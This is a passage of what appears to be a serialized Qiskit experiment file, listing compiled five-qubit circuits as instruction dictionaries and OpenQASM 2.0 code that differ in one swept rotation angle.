q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.900000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1207', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1209', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.2000000000000002, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1211', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.3, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], 